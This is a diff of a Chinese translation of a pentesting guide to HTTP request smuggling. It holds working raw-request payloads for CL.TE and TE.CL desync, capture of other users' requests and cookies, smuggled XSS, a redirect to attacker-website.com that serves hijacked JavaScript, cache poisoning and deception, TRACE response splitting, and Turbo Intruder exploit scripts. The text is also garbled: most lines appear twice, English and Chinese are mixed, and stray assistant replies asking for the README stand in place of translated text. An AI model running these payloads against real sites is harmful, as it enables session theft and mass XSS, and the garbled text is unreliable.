**CL.TE Example**
```
@ -459,7 +462,7 @@ Content-Length: 10
x=
```
在 CL.TE 攻击中,`Content-Length` header 被用于初始请求,而随后的嵌入请求使用 `Transfer-Encoding: chunked` header。front-end proxy 处理初始的 `POST` 请求但未能检查嵌入的 `GET /admin` 请求,从而允许对 `/admin` 路径的未授权访问
在 CL.TE 攻击中,`Content-Length` 头用于初始请求,而后续嵌入的请求使用 `Transfer-Encoding: chunked` 头。前端代理处理了初始的 `POST` 请求,但未能检查嵌入的 `GET /admin` 请求,从而允许未授权访问 `/admin` 路径
**TE.CL 示例**
```
@ -477,13 +480,13 @@ a=x
0
```
相反,在 TE.CL 攻击中,最初的 `POST` 请求使用 `Transfer-Encoding: chunked`,而随后嵌入的请求则根据 `Content-Length` 报头进行处理。与 CL.TE 攻击类似,前端 proxy 忽略了被走私的 `GET /admin` 请求,从而无意中允许访问受限的 `/admin` 路径
相反,在 TE.CL 攻击中,初始 `POST` 请求使用 `Transfer-Encoding: chunked`,随后嵌入的请求则基于 `Content-Length` 头进行处理。类似于 CL.TE 攻击,前端代理忽略了被走私的 `GET /admin` 请求,无意中授予了对受限 `/admin` 路径的访问
### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
应用通常会使用一个前端服务器在将传入请求转发给后端服务器之前修改这些请求。典型的修改包括添加报头,例如 `X-Forwarded-For: <IP of the client>`,以将客户端的 IP 转发给后端。理解这些修改非常关键,因为它可能揭示**绕过防护**或**发现隐藏信息或端点**的方法。
应用通常使用一个 **前端服务器** 在将请求转发到后端服务器之前修改传入请求。典型的修改包括添加头,例如 `X-Forwarded-For: <IP of the client>`,以将客户端的 IP 转发给后端。理解这些修改至关重要,因为它可能揭示**绕过防护**或**发现隐藏信息或端点**的方法。
要调查 proxy 如何修改请求,找到一个后端在响应中回显的 POST 参数。然后构造一个请求,将该参数放在最后,类似如下
要调查代理如何修改请求,找到后端在响应中回显的一个 `POST` 参数。然后构造一个请求,将该参数放在最后,类似于下面
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -500,17 +503,17 @@ Content-Length: 100
search=
```
在这种结构中,随后请求的各部分会被追加在 `search=` 之后,该参数会在响应中被反射。该反射会暴露随后请求的 header
在这种结构中,后续的请求组件会在 `search=` 之后被追加,该参数会在响应中被反射。此反射会暴露后续请求的 headers
将嵌套请求的 `Content-Length` header 与实际内容长度对齐非常重要。建议从较小的值开始并逐步增加,因为值太小会截断被反射的数据,而值大则可能导致请求出错。
必须将嵌套请求的 `Content-Length` header 与实际内容长度对齐。建议从较小的值开始并逐步增加,因为值太小会截断被反射的数据,而值大则可能导致请求出错。
该技术也适用于 TE.CL 漏洞的情形,但请求应以 `search=\r\n0` 终止。无论换行字符如何,这些值都会追加到 search 参数中。
此技术在 TE.CL 漏洞的情形下也适用,但请求应以 `search=\r\n0` 终止。无论换行字符如何,值都会追加到 search 参数中。
该方法主要用于理解前端代理对请求所做的修改,本质上是在进行一次自我导向的调查。
此方法主要用于了解前端 proxy 对请求所做的修改,本质上是对其进行自查。
### 捕获其他用户的请求 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
可以通过在 POST 操作中将特定请求作为参数的值追加,来捕获下一个用户的请求。以下是实现方法
可以通过在 POST 操作中将特定请求作为某个参数的值追加来捕获下一个用户的请求。下面说明如何实现
通过将下面的请求作为参数值追加,你可以存储随后客户端的请求:
```
@ -532,20 +535,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
在这种场景中,**comment parameter** 用于在公开可访问的页面上存储帖子评论区的内容。因此,后续请求的内容将以评论的形式显示
在这种场景中,**comment parameter** 用于将内容存储在公开页面的帖子评论区。因此,随后的请求内容将会显示为该评论
然而,这种技术有其局限性。通常它只能捕获数据,直到 smuggled request 中使用的参数分隔符为止。对于 URL 编码的表单提交,该分隔符是 `&` 字符。这意味着从受害用户请求中捕获的内容将会在第一个 `&` 处停止,该 `&` 甚至可能属于查询字符串的一部分
不过,这种方法有其局限。通常,它只会捕获到被 smuggled 请求中使用的参数分隔符为止。对于 URL-encoded 表单提交,该分隔符是 `&` 字符。也就是说,从受害用户的请求中被捕获的内容会在第一个 `&` 处停止,这个 `&` 甚至可能属于查询字符串
另外值得注意的是,这种方法在存在 TE.CL vulnerability 时也可行。在这种情况下,请求应以 `search=\r\n0` 结尾。无论换行字符如何,值都会被追加到 search 参数中。
另外,值得注意的是,该方法在存在 TE.CL 漏洞时也可行。在这种情况下,请求应以 `search=\r\n0` 结尾。无论换行字符如何,值都会被追加到 search 参数中。
### 使用 HTTP request smuggling 利用 Reflected XSS
HTTP Request Smuggling 可被用来利用易受 **Reflected XSS** 影响的网页,具有以下显著优势:
HTTP Request Smuggling 可用于攻击对 **Reflected XSS** 易受攻击的网页,具有显著优势:
- 与目标用户的交互**不需要**
- 允许在请求中通常**无法触及**的部分利用 XSS例如 HTTP request headers。
- 与目标用户的交互 **不是必需的**
- 允许在通常无法触及的请求部分利用 XSS例如 HTTP request headers。
网站通过 User-Agent header 易受 Reflected XSS 攻击的场景中,下面的 payload 展示了如何利用该漏洞:
某些场景下,如果网站通过 User-Agent header 对 Reflected XSS 易受攻击,下面的 payload 演示了如何利用该漏洞:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -566,36 +569,36 @@ Content-Type: application/x-www-form-urlencoded
A=
```
This payload 的结构旨在通过以下方式利用该漏洞
这个 payload 的结构用来利用该漏洞,步骤如下
1. 发起一个看似普通的 `POST` 请求,包含 `Transfer-Encoding: chunked` 头以指示开始进行 smuggling。
2. 紧接着发送一个 `0`,标记 chunked 消息体的结束。
3. 然后引入一个被 smuggle 的 `GET` 请求,其中通过注入 `<script>alert(1)</script>``User-Agent` 头,触发服务器处理该后续请求时的 XSS。
1. 发起一个看似正常的 `POST` 请求,带有 `Transfer-Encoding: chunked` 头来表明开始进行 smuggling。
2. 随后发送一个 `0`,标示 chunked 消息体的结束。
3. 然后引入一个被 smuggle 的 `GET` 请求,其中通过 `User-Agent` 头注入了脚本 `<script>alert(1)</script>`,当服务器处理该后续请求时会触发 XSS。
通过对 `User-Agent` 的 smuggling 操作,这个 payload 绕过了正常的请求限制,从而以一种非标准但有效的方式利用了 Reflected XSS 漏洞。
通过对 `User-Agent` 的 smuggling 操作,该 payload 绕过了常规请求限制,从而以一种非标准但有效的方式利用了 Reflected XSS 漏洞。
#### HTTP/0.9
> [!CAUTION]
> 如果用户内容在响应中以 **`Content-type`**(例如 **`text/plain`**)反射出来,可能会阻止 XSS 的执行。如果服务器支持 **HTTP/0.9**,则可能有办法绕过这一点!
> In case the user content is reflected in a response with a **`Content-type`** such as **`text/plain`**, preventing the execution of the XSS. If the server support **HTTP/0.9 it might be possible to bypass this**!
HTTP/0.9 版本在 1.0 之前,只使用 **GET** 动词,并且**不**会返回 **headers**,只返回 body。
版本 HTTP/0.9 出现在 1.0 之前,只使用 **GET** 方法并且**不会**返回 **headers**,仅返回 body。
在 [**this writeup**](https://mizu.re/post/twisty-python) 中,这一点被用于配合 request smuggling 和一个会将用户输入原样返回的 **vulnerable endpoint** 来 smuggle 一个使用 HTTP/0.9 的请求。将被反射到响应中的参数包含了一个 **伪造的 HTTP/1.1 响应(带 headers 和 body**,因此响应将包含带有 `Content-Type``text/html` 的可执行有效 JS 代码
在 [**this writeup**](https://mizu.re/post/twisty-python) 中,利用 request smuggling 和一个**会把用户输入原样回复的易受攻击端点**来 smuggle 一个使用 HTTP/0.9 的请求。将会在响应中被反射的参数包含了一个 **fake HTTP/1.1 response (with headers and body)**,因此响应会包含有效的可执行 JS 代码,且 `Content-Type``text/html`
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
应用程序通常通过在重定向 URL 中使用 `Host` 头的主机名,将一个 URL 重定向到另一个 URL。这在 Apache 和 IIS 等 web servers 中很常见。例如,请求一个没有尾随斜杠的文件夹会导致重定向以包含该斜杠:
应用通常在从一个 URL 重定向到另一个 URL 时,会在重定向 URL 中使用来自 `Host` 头的主机名。这在 Apache 和 IIS 等 web 服务器中很常见。例如,请求一个没有尾随斜杠的目录会导致重定向以包含该斜杠:
```
GET /home HTTP/1.1
Host: normal-website.com
```
结果为
导致
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
尽管看似无害,该行为可以被利用 HTTP request smuggling 操作,将用户重定向到外部站点。例如:
尽管看似无害,这种行为可以通过 HTTP request smuggling 被操纵,从而将用户重定向到外部站点。例如:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -616,24 +619,22 @@ Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
结果为:
你没有提供要翻译的内容。请粘贴 src/pentesting-web/http-request-smuggling/README.md 的文本,或把要翻译的内容贴在这里。我会在保留 markdown/HTML/链接/路径和标签不翻译的前提下,将其翻译成中文。
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
此场景中,用户对 JavaScript 文件的请求被劫持。攻击者可以通过返回恶意的 JavaScript 来危及用户。
这种场景中,用户对 JavaScript 文件的请求被劫持。攻击者可能通过返回恶意 JavaScript 来危害用户。
### 利用 Web Cache Poisoning 通过 HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
如果任何前端基础设施组件对内容进行缓存(通常为了提高性能),就可能实施 Web Cache Poisoning。通过操纵服务器响应可以使缓存被污染
如果任何组件的 **front-end infrastructure caches content**(通常用于提升性能),就可以实施 Web cache poisoning。通过操纵服务器的响应就有可能 **poison the cache**
如前所述,我们演示了如何修改服务器响应以返回 404 错误(参见 [Basic Examples](#basic-examples))。同样,也可以诱导服务器在请求 `/static/include.js` 时返回 `/index.html` 的内容
之前,我们演示了如何修改服务器响应以返回 404 错误(参见 [Basic Examples](#basic-examples))。同样,也可以诱使服务器在对 `/static/include.js` 的请求中返回 `/index.html` 的内容。因此,缓存中 `/static/include.js` 的内容会被 `/index.html` 的内容替换,导致用户无法访问 `/static/include.js`并可能引起拒绝服务DoS
因此,缓存中的 `/static/include.js` 内容会被 `/index.html` 的内容替换,导致用户无法访问 `/static/include.js`,可能引发 Denial of Service (DoS)
如果发现了 **Open Redirect vulnerability**,或者存在指向 open redirect 的 **on-site redirect**,该技术会特别强大。此类漏洞可以被利用,将缓存中 `/static/include.js` 的内容替换为攻击者控制的脚本,从而对所有请求更新后 `/static/include.js` 的客户端发动大规模的 Cross-Site Scripting (XSS) 攻击
如果发现 Open Redirect vulnerability 或者存在站内重定向到 open redirect 的情况,该技术会变得特别强大。攻击者可以利用这些漏洞将缓存的 `/static/include.js` 内容替换为其控制的脚本,实质上对所有请求已更新 `/static/include.js` 的客户端发动大规模 Cross-Site Scripting (XSS) 攻击。
下面示例展示了如何将 cache poisoning 与站内重定向到 open redirect 结合利用,目标是修改 `/static/include.js` 的缓存内容以提供由攻击者控制的 JavaScript 代码:
下面示例演示了如何利用 **cache poisoning combined with an on-site redirect to open redirect**。目标是修改 `/static/include.js` 的缓存内容,使其返回由攻击者控制的 JavaScript 代码:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -651,20 +652,20 @@ Content-Length: 10
x=1
```
Note the embedded request targeting `/post/next?postId=3`。该请求将被重定向到 `/post?postId=4`,并利用 **Host header value** 来确定域名。通过修改 **Host header**攻击者可以将请求重定向到他们的域**on-site redirect to open redirect**)。
注意嵌入的请求目标为 `/post/next?postId=3`。该请求会被重定向到 `/post?postId=4`,并利用 **Host header value** 来确定域名。通过修改 **Host header**attacker 可以将请求重定向到其域名**on-site redirect to open redirect**)。
在成功进行 **socket poisoning** 后,应发起对 `/static/include.js`**GET request**。该请求会被先前的 **on-site redirect to open redirect** 请求污染,从而获取攻击者控制的脚本内容。
在成功进行 **socket poisoning** 后,应发起对 `/static/include.js`**GET request**。该请求会被之前的 **on-site redirect to open redirect** 请求污染,并获取由攻击者控制的脚本内容。
随后,任何`/static/include.js` 的请求都会返回缓存的攻击者脚本内容,从而有效地发动大规模的 XSS 攻击。
随后,对 `/static/include.js`任何请求都会返回缓存的攻击者脚本内容,从而有效地发动大范围的 XSS 攻击。
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **What is the difference between web cache poisoning and web cache deception?**
> **web cache poisoning 和 web cache deception 之间有什么区别?**
>
> - 在 **web cache poisoning** 中,攻击者使应用将一些恶意内容存入缓存,并且该内容会从缓存中提供给其他应用用户。
> - 在 **web cache deception** 中,攻击者使应用将属于另一用户的一些敏感内容存入缓存,然后攻击者再从缓存中检索这些内容。
> - 在 **web cache poisoning** 中,attacker 导致应用程序将一些恶意内容存入 cache并且这些内容会从 cache 中提供给其他应用程序用户。
> - 在 **web cache deception** 中,attacker 导致应用程序将属于另一用户的一些敏感内容存入 cache然后 attacker 再从 cache 中检索这些内容。
攻击者构造一个 smuggled request 来获取敏感的用户特定内容。考虑以下示例:
attacker 构造一个 smuggled request 来获取敏感的特定用户内容。考虑以下示例:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -675,17 +676,17 @@ Note the embedded request targeting `/post/next?postId=3`。该请求将被重
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
如果该 smuggled request 污染了用于静态内容(例如 `/someimage.png`)的缓存条目,受害者来自 `/private/messages` 的敏感数据可能会被缓存到该静态内容的缓存条目中。因此,攻击者可能能够检索到这些被缓存的敏感数据。
如果这个 smuggled request 污染了原本用于静态内容的缓存条目(例如 `/someimage.png`),受害者来自 `/private/messages` 的敏感数据可能会被缓存在该静态内容的缓存条目下。因此,攻击者可能能够检索这些被缓存的敏感数据。
### 通过 HTTP Request Smuggling 滥用 TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**In this post**](https://portswigger.net/research/trace-desync-attack) 中建议,如果服务器启用了 TRACE 方法,则有可能通过 HTTP Request Smuggling 滥用它。原因是该方法会将发送到服务器的任意 header 作为响应的 body 部分反射回去。例如:
[**In this post**](https://portswigger.net/research/trace-desync-attack) 提到,如果服务器启用了 TRACE 方法,可能可以通过 HTTP Request Smuggling 滥用它。这是因为该方法会将发送到服务器的任何 header 反射为响应体的一部分。例如:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
请把 README.md 的内容粘贴到这里。我会按你给的规则把相关英文文本翻译成中文,保留代码、标签、链接、路径和特殊标记不翻译。
Please paste the README.md content you want translated. I will translate the English text to Chinese while preserving all markdown/html/tags/paths/links and not translating code, technique names, cloud/SaaS names, or links. Paste the full file or the portion to translate.
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -696,17 +697,17 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
滥用此行为的一个例子是 **先 smuggle 一个 HEAD 请求**。该请求将只收到一个 GET 请求的 **headers**(其中包括 **`Content-Type`**)。然后在 HEAD 之后立即 **smuggle 一个 TRACE 请求**,该请求将 **反射发送的数据**\
由于 HEAD 响应中包含 `Content-Length` 头,**TRACE 请求的响应将被视为 HEAD 响应的 body因此在响应中反射任意数据**。\
响应将被发送给连接上的下一个请求,因此这可以**用于例如在被缓存的 JS 文件中注入任意 JS 代码**。
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
由于 HEAD response 会包含 `Content-Length` header**TRACE request 的 response 会被当作 HEAD response 的 body从而在 response 中反射任意数据**。\
response 将被发送到连接上的下一个 request所以这可以**用于缓存的 JS 文件中注入任意 JS 代码**。
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
继续参考 [**this post**](https://portswigger.net/research/trace-desync-attack),其中建议了另一种滥用 TRACE 方法的方式。如文中所述,通过 smuggle 一个 HEAD 请求和一个 TRACE 请求,可以在 HEAD 响应中 **控制某些被反射的数据**。HEAD 请求 body 的长度由 `Content-Length` 头指示,并且由 TRACE 请求的响应构成。
Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. 如前所述smuggling 一个 HEAD request 和一个 TRACE request 可以**control some reflected data**在 HEAD request 的 response 中。HEAD request 的 body 长度基本由 `Content-Length` header 指示,并且由 TRACE request 的 response 构成。
因此,新思路是:在已知该 `Content-Length` 以及 TRACE 响应中包含的数据的情况下,可以使 TRACE 响应在 `Content-Length` 指定的最后一个字节之后包含一个有效的 HTTP 响应,从而允许攻击者完全控制发送给下一个请求的内容(这可以用于执行 cache poisoning
因此,新想法是:已知该 `Content-Length` 和 TRACE response 中的内容后,可以使 TRACE response 在 `Content-Length` 的最后一个字节之后包含一个有效的 HTTP response从而允许攻击者完全控制下一个 response 的 request这可用于执行 cache poisoning
示例:
Example:
```
GET / HTTP/1.1
Host: example.com
@ -725,7 +726,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
将生成这些响应(注意 HEAD 响应具有 Content-Length使 TRACE 响应成为 HEAD 体的一部分,并且一旦 HEAD 的 Content-Length 结束,就会走私出一个有效的 HTTP 响应):
将生成这些响应(注意 HEAD 响应具有 Content-Length使 TRACE 响应成为 HEAD 消息体的一部分,并且一旦 HEAD 的 Content-Length 结束,一个有效的 HTTP 响应就被 smuggled
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -748,7 +749,7 @@ Content-Length: 50
```
### 使用 HTTP Response Desynchronisation 将 HTTP Request Smuggling 武器化
发现了某个 HTTP Request Smuggling 漏洞,但不知道如何利用它。试试以下其他利用方法:
是否发现了某个 HTTP Request Smuggling 漏洞但不知道如何利用它?试试下面这些其他利用方法:
{{#ref}}
@ -816,7 +817,7 @@ table.add(req)
```
### TE.CL
来自: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
来自 [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -860,14 +861,14 @@ table.add(req)
```
## 工具
- HTTP Hacker (Burp BApp Store) 可视化串联/帧化以及低级 HTTP 行为
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- HTTP Hacker (Burp BApp Store) 可视化拼接/帧定界和底层 HTTP 行为
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater 自定义操作 "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 该工具是基于语法的 HTTP Fuzzer用于发现异常的 request smuggling 差异
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 该工具是基于文法的 HTTP Fuzzer有助于发现奇怪的 request smuggling 不一致行为
## 参考资料
@ -880,7 +881,7 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- 警惕错误的 falsepositive:如何区分 HTTP pipelining 与 request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- 警惕假阳性的误判:如何区分 HTTP pipelining 与 request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- BrowserPowered Desync Attacks [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy clientside desync [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)